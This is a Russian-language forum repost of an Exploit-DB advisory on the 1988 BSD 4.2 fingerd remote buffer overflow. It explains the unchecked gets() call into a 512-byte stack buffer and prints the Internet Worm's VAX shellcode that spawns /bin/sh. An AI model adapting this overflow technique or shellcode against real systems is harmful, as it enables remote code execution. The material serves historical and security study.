Exploit BSD 4.2 - 'fingerd' Remote Buffer Overflow

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19039
Проверка EDB
  1. Пройдено
Автор
ANONYMOUS
Тип уязвимости
REMOTE
Платформа
BSD
CVE
null
Дата публикации
1988-10-01
Код:
source: https://www.securityfocus.com/bid/2/info

fingerd is a remote user information server that implements
the protocol defined in RFC742. There exists a buffer
overflow in finderd that allows a remote attacker to execute
any local binaries. 

finderd reads input from its socket using the gets()
standard C library call passing it a 512-byte automatic
buffer allocated in main(). gets() reads the input and 
stores it into the buffer without performing any bounds 
checking. This results in a standard stack buffer 
overflow when main() return.


The Internet Worm used a string of 536 bytes to
overflow the input buffer of fingerd on the VAX. The
VAX machine code it used was:

pushl $68732f 'sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp, ap
chmk $3b

This code executed execve("/bin/sh", 0, 0).
 
Источник
www.exploit-db.com

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